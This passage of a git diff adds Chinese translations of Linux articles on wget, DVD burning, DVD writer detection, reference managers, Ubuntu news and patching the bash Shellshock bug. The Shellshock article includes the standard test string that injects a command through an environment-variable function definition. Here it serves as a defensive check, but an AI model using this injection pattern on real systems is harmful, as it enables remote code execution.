http://mirror.nbrc.ac.in/centos/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-DVD.iso + +上面的命令会在用户当前目录下创建download.log文件。 + +### 实例8:下载整个网站用于本地查看 ### + + # wget --mirror -p --convert-links -P ./ website-url + +鉴于 + +- **–mirror** : 开启适用于镜像的选项。 +- **-p** : 下载所有能正确显示指定HTML网页的全部必要文件。 +- **–convert-links** : 下载完成后,转换文档中的链接以用于本地查看。 +- -**P ./Local-Folder** : 保存所有文件和目录到指定的目录。 + +### 实例9:下载过程中拒绝文件类型 ### + +当你正打算下载整个网站时,我们可以使用‘-reject’选项来强制wget不下载图片。 + + # wget --reject=png Website-To-Be-Downloaded + +### 实例10:使用wget -Q设置下载配额 ### + +我们可以使用‘-Q’选项强制wget命令在下载大小超过特定大小时退出下载。 + + # wget -Q10m -i download-list.txt + +注意,配额不会对单个文件的下载产生影响。所以,如果你指定wget -Q10m ftp://wuarchive.wustl.edu/ls-lR.gz,ls-lR.gz的全部内容都会被下载。这在下载命令行指定的多个URL时也一样。然而,在递归或从一个输入文件检索时,还是值得一用。因此,你可以安全地输入‘wget -Q10m -i download-list.txt’,在超过配额时,下载会退出。 + +### 实例11:从密码保护的网站下载文件 ### + + # wget --ftp-user= --ftp-password= Download-URL + +另外一种指定用户名和密码的方式是在URL中。 + +任一方法都将你的密码揭露给了那些运行“ps”命令的人。要防止密码被查看到,将它们存储到.wgetrc或.netrc中,并使用“chmod”设置合适的权限来保护这些文件不让其他用户查看到。如果密码真的很重要,不要在它们还在文件里躺着的时候走开,在Wget开始下载后,编辑该文件,或者删除它们。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/wget-command-practical-examples/ + +作者:[Pradeep Kumar][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201410/20141013 UbuTricks 14.10.08.md b/published/201410/20141013 UbuTricks 14.10.08.md new file mode 100644 index 0000000000..322eacf5fa --- /dev/null +++ b/published/201410/20141013 UbuTricks 14.10.08.md @@ -0,0 +1,56 @@ +UbuTricks 14.10.08 +================================================================================ +> 这是一款 Ubuntu 系统上的实用工具软件,使用它可以让您安装上最新版本的流行应用程序和游戏。 + +UbuTricks 是一款免费发布的用 Bash 语言编写的脚本型应用程序。它被设计为从最初版本一直向上搜索的方式来帮助您在 Ubuntu Linux 操作系统以及其它 Ubuntu 衍生版本系统上安装最受好评的游戏和图形应用程序的最高版本软件。 + +![](http://i1-linux.softpedia-static.com/screenshots/UbuTricks_1.png) + +### 我能利用 UbuTricks 来安装哪些应用程序呢? ### + +目前,最新版本的 Calibre(译者注:calibre 是一款开源的电子书软体套装,可以用来组织、存放、以及管理电子书,支持大多数的电子书格式。 同时也支持与许多流行的电子书阅读器进行同步,并可能在DRM的限制下转换电子书的格式) 、Fotoxx(译者注:一款图像管理和图像编辑程序)、Geary(译者注:适配于GNOME3 桌面环境的 IMAP 邮件客户端)、GIMP、Google Earth、HexChat(译者注:一款基于 XChat 的 IRC 客户端)、jAlbum(译者注:网页在线相册)、Kdenlive、LibreOffice、PCManFM、Qmmp(译者注:基于 Qt 库的音频播放器)、QuiteRSS, QupZilla、Shutter(译者注:多功能屏发屏幕截屏工具)、SMPlayer、Ubuntu Tweak、Wine 和 [XBMC (Kodi)][4](译者注:开源免费的媒体播放器,13.2 “Gotham” 版本后改名为 Kodi)、PlayOnLinux、Red Notebook、NeonView、Sunflower、Pale Moon、 QupZilla Next、FrostWire 以及 RSSOwl 等这些应用程序都可以用 UbuTricks 来安装。 + +### 我能利用 UbuTricks 来安装哪些游戏呢? ### + +此外,最新版本 0 A.D.、 韦诺之战、 Transmageddon、Unvanquished 和 VCMI (英雄 III 引擎) 这些游戏都可以用 UbuTricks 程序来安装。用户也可以安装最新版本的 Cinnamon 和 LXQt 桌面环境。 + +### UbuTricks 使用起步 ### + +此程序是以 .sh 文件(shell 脚本)形式发布的,可以在命令行下面运行 “sh ubutricks.sh” 命令(不加引号)来运行,或者使它具有可执行权限,然后双击存入在 Home 目录或桌面的此文件来运行。您所需要做的就是选择应用程序或游戏,再点击 OK 按纽来安装。 + +### 它的工作原理? ### + +首次启动时,一开始会显示一个欢迎画面,来告知用户是怎么样使用的。有三种方法来安装应用程序或游戏:通过 PPA,DEB 格式文件或源代码 tar 包。请注意,应用程序或游戏会自动的下载和安装。 + +### 它支持哪些系统发布版本? ### + +它对 Ubuntu Linux 操作系统的多个版本都支持,但如果没有特别说明的话,默认指的当前稳定版本,即 Ubuntu 14.04 LTS(Trusty Tahr)版本。您的 Ubuntu 盒子上如果还没有安装 gksu 包的话,此程序是没法运行的,而 gksu 又基于 Zenity 包,所以您也应该安装它。 + +![](http://i1-linux.softpedia-static.com/screenshots/UbuTricks_2.jpg) + +- 最新版本:格林威治标准时间 2014 年 10 月 9 号 11:29 +- 价格:免费! +- 开发者:Dan Craciun +- 主页:[www.tuxarena.com][1] +- 许可证类型:[GPL (GNU General Public License)][3] +- 类别:ROOT \ 桌面操作环境 \ 工具 + +### UbuTricks 下载: ### + +- [ubutricks.sh][2] + +-------------------------------------------------------------------------------- + +via: http://linux.softpedia.com/get/Desktop-Environment/Tools/UbuTricks-103626.shtml + +作者:[Marius Nestor][a] +译者:[runningwater](https://github.com/runningwater) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.softpedia.com/editors/browse/marius-nestor +[1]:http://www.tuxarena.com/apps/ubutricks/ +[2]:http://www.tuxarena.com/intro/files/ubutricks.sh +[3]:http://www.gnu.org/licenses/gpl-2.0.html +[4]:http://xbmc.org/about/ \ No newline at end of file diff --git a/published/201410/20141013 Ubuntu's Unity Turns 4 Happy Birthday.md b/published/201410/20141013 Ubuntu's Unity Turns 4 Happy Birthday.md new file mode 100644 index 0000000000..9b2099b13c --- /dev/null +++ b/published/201410/20141013 Ubuntu's Unity Turns 4 Happy Birthday.md @@ -0,0 +1,37 @@ +Ubuntu Unity 4岁了,生日快乐! +================================================================================ +> Unity桌面环境在Ubuntu 10.04 Netbook Remix版本中加入,这是一个过期的旧版本。 + +**Canonical开发者以及Ubuntu社区这些天有一个很好的理由来庆祝,因为Unity桌面环境已经4岁了** + +Unity 作为Ubuntu的默认桌面环境,并且已经有4年了,虽然当时并不是该发行版的桌面版本。它首次用于Ubuntu Netbook Remix,是专为笔记本使用的版本。实际上Ubuntu Netbook Remix 10.10 Maverick市场首次接受Unity桌面。 + +常规的Ubuntu 10.10 发行版桌面仍旧使用GNOME 2.x,这也是为什么有用户说10.10 仍是Canonical做的最好的版本。 + +### Unity 是没人想要的替代品 ### + +Canonical决定用他们自己的软件替代GNOME 2.x桌面环境,但是它的设计对用户而言很陌生。一些人喜欢它,但是许多人并不这样认为,并且还被不同的用户在他们决定放弃Ubuntu的时候时不时地提到这个。 + +Unit设计视角上和GNOME不同,但是Ubuntu开发者并没有替换GNOME所有的包,并且还保留了很多(他们现在仍旧这样)。之前不喜欢Unity方向的Ubuntu的粉丝一定对GNOME 2.x被很快抛弃,且被完全不同的、同样引发相同质疑的GNOME 3.0替换感到很失望。 + +### 为什么Unity替换GNOME ### + +回到还在Ubuntu 10.10 的时光,Canonical和GNOME团队习惯于非常紧密地一起工作,但是事情在Ubuntu变得越来越流行后发生了改变。其中一个驱使Canonical构建Unity的理由是GNOME团队不再和他们一致了。 + +用户在抱怨GNOME的问题或者他们想要特定的功能时,Ubuntu团队会发给上游一些补丁。对于GNOME,它会不会接受或者会花很长的时间去实现。在同时,Canonical和Ubuntu因这些他们不能马上解决的问题受到了很多的批评,但是用户并不知道这些。 + +因此,一个与GNOME捆绑不太紧的桌面环境的需求变得非常清晰了。Unity最终在Ubuntu 11.10中引入。官方的发布日期是 2010年10月10日,所以Unity已经4岁了。 + +Unity还没有被全社区的拥抱,虽然有很多用户已经接受了这是一个有用、且可以作为一个生产桌面环境。虽然桌面的大修已经逾期了很久且势必会在一两年内完成,但是它在每个新的发行后都会获得了更多的支持和使用。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-s-Unity-Turns-4-Happy-Birthday--461840.shtml + +作者:[Silviu Stahie][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie \ No newline at end of file diff --git a/published/201410/20141013 What is good reference management software on Linux.md b/published/201410/20141013 What is good reference management software on Linux.md new file mode 100644 index 0000000000..e8041286dc --- /dev/null +++ b/published/201410/20141013 What is good reference management software on Linux.md @@ -0,0 +1,60 @@ +Linux 上一些很好用的文献目录管理工具 +================================================================================ +你是否写过一些很长很长的文章,以至于你会认为你永远都看不到它的结束?那么你会很明白最糟糕的不是你投入了多少的时间,而是一旦你完成,你仍然要制定和格式化你的所引用的一些参考文献。很幸运的是,Linux 有很多的解决方案:参考书目和文献管理工具。借助BibTex的力量,这些工具可以帮你导入引用源,然后自动生成一个结构化文献目录。这里给大家提供了一些Linux上参考文献管理工具的不完全列表。 + +### 1. Zotero ### + +![](https://farm4.staticflickr.com/3936/15492092282_f1c8446624_b.jpg) + +这应该是最著名的参考文献聚集工具,[Zotero][1]作为一个浏览器的扩展插件。当然,它也有一个方便的Linux 独立工具。拥有强大的性能,Zotero 很容易上手,并且也可以和LibreOffice 或者是其他的文本编辑器配套使用来管理文档的参考文献。我个人很欣赏其操作界面和插件管理器。可惜的是,如果你对参考文献有很多不同的需求的话,很快就会发现 Zotero 功能有限。 + +### 2. JabRef ### + +![](https://farm4.staticflickr.com/3936/15305799248_d27685aca9_b.jpg) + +[JabRef][2] 是最先进的文献管理工具之一。你可以导入大量的格式,可以在其外部的数据库里查找相应的条目(像Google Scholar),并且能直接输出到你喜欢的编辑器。JabRef 可以很好的兼容你的运行环境,甚至也支持插件。最后还有一点,JabRef可以连接你自己的SQL 数据库。而唯一的缺点就是其学习使用的难度。 + +### 3. KBibTex ### + +![](https://farm4.staticflickr.com/3931/15492453775_c1e57f869f_c.jpg) + +对于 KDE 使用者,这个桌面环境也拥有它自己专有的文献管理工具[KBibTex][3]。这个程序的品质,正如你所期望。程序可高度定制,通过快捷键就可以很好的操作和体验。你可以很容易找到副本、可以预览结果、也可以直接输出到LaTex 编辑器。而我认为这款软件最大的特色在于它集成了Bigsonomy ,Google Scholar ,甚至是你的Zotero账号。唯一的缺憾是界面看起来实在是有点乱。多花点时间设置软件可以让你使用起来得心应手。 + +### 4. Bibfilex ### + +![](https://farm4.staticflickr.com/3930/15492453795_f5ec82f5ff_c.jpg) + +可以运行在Gtk 和Qt 环境中,[Bibfilex][4]是一个基于 Biblatex 的界面友好的工具。相对于JabRef 和KBibTex ,缺少了一些高级的功能,但这也让他更加的快速和轻巧。不用想太多,这绝对是快速做文献目录的一个聪明的选择。界面很舒服,仅仅反映了一些必要的功能。我给出了其使用的完全手册,你可以从官方的[下载页面][5]去获得。 + +### 5. Pybliographer ### + +![](https://farm4.staticflickr.com/3929/15305749810_541b4926bd_o.jpg) + +正如它的名字一样,[Pybliographer][6]是一个用 Python 写的非图形化的文献目录管理工具。我个人比较喜欢把Pybiographic 当做是图形化的前端。它的界面极其简洁和抽象。如果你仅仅需要输出少数的参考文献,而且也确实没有时间去学习更多的工具软件,那么 Pybliographer 确实是一个不错的选择。有一点点像 Bibfilex 的是,它是以让用户方便、快速的使用为目标的。 + +### 6. Referencer ### + +![](https://farm4.staticflickr.com/3949/15305749790_2d3311b169_b.jpg) + +这应该是我归纳这些时候的一个最大的惊喜,[Referencer][7] 确实是让人眼前一亮。完美兼容 Gnome ,它可以查找和导入你的文档,然后在网上查询他们的参考文献,并且输出到 LyX ,非常的漂亮和设计良好。为数不多的几个快捷键和插件让它拥有了图书馆的风格。 + +总的来说,很感谢这些工具软件,有了它们,你就可以不用再担心长长的文章了,至少是不用再担心参考文献的部分了。那么我们还有什么遗漏的吗?是否还有其他的文献管理工具你很喜欢?请在评论里告诉我们。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/reference-management-software-linux.html + +作者:[Adrien Brochard][a] +译者:[barney-ro](https://github.com/barney-ro) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:https://www.zotero.org/ +[2]:http://jabref.sourceforge.net/ +[3]:http://home.gna.org/kbibtex/ +[4]:https://sites.google.com/site/bibfilex/ +[5]:https://sites.google.com/site/bibfilex/download +[6]:http://pybliographer.org/ +[7]:https://launchpad.net/referencer \ No newline at end of file diff --git a/published/201410/20141014 Linux FAQs with Answers--How to burn an ISO or NRG image to a DVD from the command line on Linux.md b/published/201410/20141014 Linux FAQs with Answers--How to burn an ISO or NRG image to a DVD from the command line on Linux.md new file mode 100644 index 0000000000..f9ef00f3dc --- /dev/null +++ b/published/201410/20141014 Linux FAQs with Answers--How to burn an ISO or NRG image to a DVD from the command line on Linux.md @@ -0,0 +1,80 @@ +Linux有问必答:如何在Linux命令行中刻录ISO或NRG镜像到DVD +================================================================================ +> **问题**:我需要在Linux机器上使用DVD刻录机刻录一个镜像文件(.iso或.nrg)到DVD,有没有一个既快捷又简易的方法,最好是使用命令行工具? + +最常见的两种镜像文件格式是ISO(.iso为文件扩展名)和NRG(.nrg为文件扩展名)。ISO格式是一个由ISO(国际标准组织)创立的全球标准,因此被大多数操作系统所支持,它提供了很高的便携性。另一方面,NRG格式是由Nero AG开发的私有格式,Nero AG是一个很流行的磁盘镜像和刻录软件公司。 + +下面来解答怎样从Linux命令行刻录.iso或.nrg镜像到DVD。 + +### 刻录.ISO镜像文件到DVD + +要刻录.iso镜像文件到DVD,我们将使用**growisofs**这个工具: + + # growisofs -dvd-compat -speed=4 -Z /dev/dvd1=WindowsXPProfessionalSP3Original.iso + +在上面的命令行中,“-dvd-compat”选项提供了与DVD-ROM/-Video的最大介质兼容性。在一次写入式 DVD+R 或 DVD-R 上下文中,导致不可添加记录(关闭磁盘)。 + +“-Z /dev/dvd1=filename.iso”选项表示我们刻录.iso文件到设备选单(/dev/dvd1)中选择的介质中。 + +“-speed=N”参数指定了DVD刻录机的刻录速度,这与驱动自身的能力直接相关。“-speed=8”将以8x刻录,“-speed=16”将以16x刻录,以此类推。没有该参数,growisofs将默认以最低速刻录,在这里是4x。你可以根据你刻录机的可用速度和磁盘类型选择合适的刻录速度。 + +你可以根据[此教程][2]找出你的DVD刻录机的设备名称和它所支持的写入速度。 + +![](https://farm3.staticflickr.com/2947/15510172352_5c09c2f495_z.jpg) + +刻录进程完成后,磁盘会自动弹出。 + +### 把NRG镜像转换为ISO格式 ### + +由于ISO被广为采用,刻录.iso镜像到CD/DVD就非常简单。但是,要刻录一个.nrg镜像则首先需要将它转换为.iso格式。 + +把一个.nrg镜像文件转换到.iso格式,你可以使用nrg2iso这个工具。它是一个开源程序,用来将Nero Burning Rom创建的镜像转换到标准的.iso(ISO9660)文件。 + +在Debian及其衍生版上安装**nrg2iso**: + + # aptitude install nrg2iso + +在基于Red Hat的发行版上安装**nrg2iso**: + + # yum install nrg2iso + +在CentOS/RHEL上,你需要先启用[Repoforge仓库][1],再通过**yum**安装。 + +安装完nrg2iso包后,使用以下命令来将.nrg镜像转换到.iso格式: + + # nrg2iso filename.nrg filename.iso + +![](https://farm3.staticflickr.com/2945/15507409981_99eddd2577_z.jpg) + +转换完成后,在当前目录中会出现一个.iso文件: + +![](https://farm4.staticflickr.com/3945/15323823510_c933d7710f_z.jpg) + + +###检查已刻录介质的完整性### + +关于这一点,你可以通过将刻录的DVD的校验和与原始.iso文件的md5校验和进行对比,以检查所刻录介质的完整性。如果两者相同,你就可以放心了,因为刻录成功了。 + +然而,当你使用nrg2iso来将.nrg镜像转换为.iso格式后,你需要明白一点,nrg2iso创建的.iso文件的大小不是2048的倍数(通常,.iso文件的大小是它的倍数)。因此,常规的校验和对比,该.iso文件和刻录介质的内容不一样。 + +另一方面,如果你已经刻录了一个不是由.nrg文件转换而来的.iso镜像,你可以使用以下命令来检查记录到DVD中的数据的完整性。替换“/dev/dvd1”为你的设备名。 + + # md5sum filename.iso; dd if=/dev/dvd1 bs=2048 count=$(($(stat -c "%s" filename.iso) / 2048)) | md5sum + +命令的第一部分计算.iso文件的md5校验和,而第二部分则读取/dev/dvd1中的磁盘内容,然后通过管道输出给md5sum工具。“bs=2048”表示dd命令将使用2048字节块为单位检查,因为原始iso文件以2048为单位划分。 + +![](https://farm3.staticflickr.com/2949/15487396726_bcf47d536f_z.jpg) + +如果两个md5校验和的值相同,这就意味着刻录的介质是有效的。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/burn-iso-nrg-image-dvd-command-line.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/how-to-set-up-rpmforge-repoforge-repository-on-centos.html +[2]:http://linux.cn/article-4081-1.html diff --git a/published/201410/20141014 Linux FAQs with Answers--How to detect DVD writer' s device name and its writing speed from the command line on Linux.md b/published/201410/20141014 Linux FAQs with Answers--How to detect DVD writer' s device name and its writing speed from the command line on Linux.md new file mode 100644 index 0000000000..904386b41f --- /dev/null +++ b/published/201410/20141014 Linux FAQs with Answers--How to detect DVD writer' s device name and its writing speed from the command line on Linux.md @@ -0,0 +1,110 @@ +Linux有问必答:如何使用Linux命令行检测DVD刻录机的名字和读写速度 +================================================================================ +> **提问**:我想要知道我的DVD刻录机的名字和在烧录时的速度。该使用什么Linux命令行工具来连测DVD刻录机的设备名和速度? + +如今大多数消费PC和笔记本电脑都配备了DVD刻录机。在Linux中,光盘驱动器,如CD/DVD驱动器的名字是在引导时内核基于udev规则来命名的。有几种方法来检测刻录机的设备名称和它的写入速度。 + +### 方法一 ### + +找出与DVD刻录机相关的设备名称最简单的方法是使用dmesg命令行工具,它打印出内核的消息缓冲区。在dmesg的输出中,寻找一个安装好的DVD刻录机: + + $ dmesg | egrep -i --color 'dvd|cd/rw|writer' + +![](https://farm6.staticflickr.com/5603/15505432622_0bfec51a8f_z.jpg) + +上述命令的输出会告诉你你的Linux系统上是否检测到了DVD刻录机以及它被分配的名字。本例中,DVD刻录机的设备名称为“/dev/sr0”。虽然此方法不会告诉你的写入速度 + +### 方法二 ### + +第二个获得你DVD刻录机的信息是使用lsscsi命令,它只是列出了所有可用的SCSI设备。 + +在基于Debian Linux上安装 **lsscsi**: + + $ sudo apt-get install lsscsi + +在基于Red Hat Linux上安装: + + $ sudo yum install lsscsi + +如果成功检测到,lsscsi命令的输出会告诉你DVD刻录机的名称: + + $ lsscsi + +![](https://farm4.staticflickr.com/3937/15319078780_e650d751d6.jpg) + +这也不会告诉你刻录机更多的细节,比如写入速度。 + +### 方法三 ### + +第三种获取有关你DVD刻录机的信息是参考/proc/sys/dev/cdrom/info。 + + $ cat /proc/sys/dev/cdrom/info + +---------- + + CD-ROM information, Id: cdrom.c 3.20 2003/12/17 + + drive name: sr0 + drive speed: 24 + drive # of slots: 1 + Can close tray: 1 + Can open tray: 1 + Can lock tray: 1 + Can change speed: 1 + Can select disk: 0 + Can read multisession: 1 + Can read MCN: 1 + Reports media changed: 1 + Can play audio: 1 + Can write CD-R: 1 + Can write CD-RW: 1 + Can read DVD: 1 + Can write DVD-R: 1 + Can write DVD-RAM: 1 + Can read MRW: 1 + Can write MRW: 1 + Can write RAM: 1 + +本例中,输出会告诉你DVD刻录机(/dev/sr0)与x24的CD刻录速度(即24x153.6 Kbps)兼容,且相当于x3的DVD写入速度(即3x1385 KBps的)兼容。这里的写入速度是最大可能的速度,而实际的写入速度当然取决于使用的介质(例如:DVD-RW、DVD + RW、DVD-RAM等)。 + +### 方法四 ### + +另一种方法是使用一种称为wodim命令行程序。在大多数的Linux发行版,这个工具以及它的软链接cdrecord都是默认安装的。 + + # wodim -prcap + (or cdrecord -prcap) + +![](https://farm6.staticflickr.com/5614/15505433532_4d7e47fc51_o.png) + +如果不带任何参数调用时,wodim命令会自动检测到DVD刻录机,并显示出详细的功能以及它的最大读取/写入速度。例如,你可以找出刻录机支持哪些媒体(如CD-R、CD-RW、DVD-RW、DVD-ROM、DVD-R、DVD-RAM、音频CD),以及有哪些如何读/写速度。上面的例子中输出显示,DVD刻录机对于CD拥有X24最大写入速度,对于DVD有X3的最大写入速度。 + +需要注意的是wodim命令报告的写入速度会随您插入到DVD刻录机的CD/DVD介质的改变而改变,这反映了媒体规范。 + +### 方法五 ### + +还有一个方法来检查DVD刻录机的写入速度的是一个名为dvd+rw-mediainfo的工具,这是dvd+rw工具包(DVD+-RW/R媒体工具链)的一部分。 + +在基于Debian 发行版上安装 **dvd+rw-tools** + + $ sudo apt-get install dvd+rw-tools + +在基于Red Hat 发行版上安装 dvd+rw-tools: + + $ sudo yum install dvd+rw-tools + +不像其他工具, dvd+rw-mediainfo命令不会产生任何输出,除非你插入DVD光盘到刻录机中。所以,当你插入DVD光盘后,运行以下的命令。用你自己的设备名称替换“/dev/sr0”。 + + $ sudo dvd+rw-mediainfo /dev/sr0 + +![](https://farm6.staticflickr.com/5597/15324137650_91dbf458ef_z.jpg) + +**dvd+rw-mediainfo**工具会探测插入的媒体(本例中是“DVD-R”),以找出对媒体的实际写入速度。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/detect-dvd-writer-device-name-writing-speed-command-line-linux.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201410/20141014 Linux FAQs with Answers--How to detect and patch Shellshock vulnerability in bash.md b/published/201410/20141014 Linux FAQs with Answers--How to detect and patch Shellshock vulnerability in bash.md new file mode 100644 index 0000000000..030b25c1a4 --- /dev/null +++ b/published/201410/20141014 Linux FAQs with Answers--How to detect and patch Shellshock vulnerability in bash.md @@ -0,0 +1,74 @@ +Linux有问必答:如何检测并修复bash中的破壳漏洞​​ +================================================================================ +> **问题**:我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏洞侵袭。 + +2014年9月24日,一位名叫斯特凡·沙泽拉的安全研究者发现了一个名为“破壳”(Shellshock,也称为“bash门”或“Bash漏洞”)的bash漏洞。该漏洞如果被渗透,远程攻击者就可以在调用shell前通过在特别精心编制的环境中输出函数定义执行任何程序代码。然后,这些函数内的代码就可以在调用bash时立即执行。 + +注意,破壳漏洞影响到bash版本1.14到4.3(当前版本)。虽然在写本文时还没有该漏洞权威而完整的修复方案,也尽管主要的Linux发行版([Debian][1],[Red Hat][2],[CentOS][3],[Ubuntu][4]和 [Novell/Suse][5])已经发布了用于部分解决与此漏洞相关的补丁([CVE-2014-6271][6]和[CVE-2014-7169][7]),并且建议尽快更新bash,并在随后数日内检查更新(LCTT 译注,可能你看到这篇文章的时候,已经有了完善的解决方案)。 + +### 检测破壳漏洞 ### + +要检查你的Linux系统是否存在破壳漏洞,请在终端中输入以下命令。 + + $ env x='() { :;}; echo "Your bash version is vulnerable"' bash -c "echo This is a test" + + +如果你的Linux系统已经暴露给了破壳漏洞渗透,命令输出会像这样: + + Your bash version is vulnerable + This is a test + +在上面的命令中,一个名为x的环境变量已经被设置可用于用户环境。就如我们所了解到的,它并没有赋值(是一个虚函数定义),后面跟了一个任意命令(红色),该命令将在bash调用前执行。 + +### 为破壳漏洞应用修复 ### + +你可以按照以下方法安装新发布的bash补丁。 + +在Debian及其衍生版上: + + # aptitude update && aptitude safe-upgrade bash + +在基于Red Hat的发行版上: + + # yum update bash + +#### 打补丁之前: #### + +Debian: + +![](https://farm4.staticflickr.com/3903/15342893796_0c3c61aa33_z.jpg) + +CentOS: + +![](https://farm3.staticflickr.com/2949/15362738261_99fa409e8b_z.jpg) + +#### 打补丁之后: #### + +Debian: + +![](https://farm3.staticflickr.com/2944/15179388727_bdb8a09d62_z.jpg) + +CentOS: + +![](https://farm4.staticflickr.com/3884/15179149029_3219ce56ea_z.jpg) + +注意,在安装补丁前后,各个发行版中的bash版本没有发生变化——但是你可以通过从更新命令的运行过程中看到该补丁已经被安装(很可能在安装前需要你确认)。 + +如果处于某种原因你不能安装该补丁,或者针对你的发行版的补丁还没有发布,那么建议你先试用另外一个shell,直到修复补丁出现。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/detect-patch-shellshock-vulnerability-bash.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://www.debian.org/security/2014/dsa-3032 +[2]:https://access.redhat.com/articles/1200223 +[3]:http://centosnow.blogspot.com.ar/2014/09/critical-bash-updates-for-centos-5.html +[4]:http://www.ubuntu.com/usn/usn-2362-1/ +[5]:http://support.novell.com/security/cve/CVE-2014-6271.html +[6]:http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 +[7]:http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169 diff --git a/published/201410/20141017 Linus Torvalds Regrets Alienating Developers with Strong Language.md b/published/201410/20141017 Linus Torvalds Regrets Alienating Developers with Strong Language.md new file mode 100644 index 0000000000..a99457b834 --- /dev/null +++ b/published/201410/20141017 Linus Torvalds Regrets Alienating Developers with Strong Language.md @@ -0,0 +1,38 @@ +Linus Torvalds 对于向那些开发者说粗话而感到遗憾 +================================================================================ +> 他没有提到任何人的名字,但是这像一次道歉 + +**Linus Torvalds在前几天的欧洲LinuxCon和CloudOpen大会上做了讲话,这次大会由Linux基金会组织并且汇聚了开源世界的所有大佬。他回答了很多问题,也谈到了他在邮件发送清单里使用粗话的事情。** + +Linus Torvalds被认为是Linux内核的创造者和Linux最新的开发版本的维护者。他给我们几乎每个星期都带来一个新的内核RC 版本,并且会在邮件列表里面进行大量的讨论。在这些讨论中,他经常口不择言地用粗话大骂一些开发者们。 + +最近又出现了一个这种事情,就像我们在新闻里报道过的一样,他在做了一些苛刻的评论之后,[决定砍掉一些他认定的开发者的代码][1]。大家都知道Linus很招人厌烦,尤其是当内核开发者为了修复内核中的一些问题而破坏了用户空间。这次又发生了同样的事情,他基本上已经把那个家伙给气疯了。 + +### 这是他最接近道歉意味的一次谈话 ### + +以前Linus Torvalds从不真正去特地谈论这些事情,大家也习惯了。但是最近一个[systemd开发者谈到了在开源社区充斥着粗话,并且点名提到了Linus Torvalds][3]。他不太习惯于道歉,所以这次在LinuxCon大会上的这次“认错”是他跨出的一大步。 + +主持人询问他在过去的23年里所做过的决定有什么最后悔的吗? + +"从技术角度来看,没有哪个决定重要到这个程度...有个问题是慢慢地疏远了用户和开发者,而我却恰恰很擅长这个。我说了粗话,但是这不是我想要改变的某一个决定,这些粗话应该有所限制。" + +"其中一个原因是我们有说粗话的传统,很多人觉得倒胃口,特别是当有强烈的意愿和推动力的技术人员要做一些技术上的进步时,你就需要用一些强烈的语言来表达你的意愿。" Linus Torvalds [如是说][2] 。 + +他没提到任何人或者任何事件的名字,但很像是对于一位[名为Leonart Pottering的systemd开发者挑起事端][3]的回应,看上去就是针对这起事件。 + +Linux内核3.18 RC1也在上周发布了,我们又有新东西玩了。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Linus-Torvalds-Regrets-Alienating-Developers-with-Strong-Language-462191.shtml + +作者:[Silviu Stahie][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://news.softpedia.com/news/Linus-Torvalds-Block-All-Code-from-Systemd-Developer-for-the-Linux-Kernel-435714.shtml +[2]:http://www.linux.com/news/featured-blogs/200-libby-clark/791788-linus-torvalds-best-quotes-from-linuxcon-europe-2014 +[3]:http://linux.cn/article-3978-1.html diff --git a/published/201410/20141017 Linux FAQs with Answers--How to create a video DVD on Linux desktop.md b/published/201410/20141017 Linux FAQs with Answers--How to create a video DVD on Linux desktop.md new file mode 100644 index 0000000000..169c19171b --- /dev/null +++ b/published/201410/20141017 Linux FAQs with Answers--How to create a video DVD on Linux desktop.md @@ -0,0 +1,78 @@ +在Linux桌面上创建视频DVD +================================================================================ +> **问题**:我想要从MP4电影文件创建一张视频DVD,在Linux桌面环境中有没有我可以用来创建视频DVD的DVD创作工具? + +[DeVeDe][1]是一个开源(GPLv3)DVD创作软件,它允许你从任何数量的视频文件创建视频DVD、VCD、SVCD或者DivX。DeVeDe依赖于其它如Mplayer、FFMpeg、MEncoder、DVDAuthor、VCDImager以及MKisofs之类的软件来进行格式转换。就这点而论,它支持各种各样的主流输入视频/音频格式(如.mp4,.avi,.mpg,.mkv)。你可以在PAL和NTSC视频格式之间选择,也可以田间菜单或字幕。 + +如果你想要保留或者分发你的假期、家庭或者娱乐影音副本,DeVeDe可以派上用场。 + +### 安装Devede ### + +#### Debian,Ubuntu及其衍生版: #### + + # aptitude install devede + +#### RHEL或者CentOS: #### + +启用[EPEL][2]和[Nux 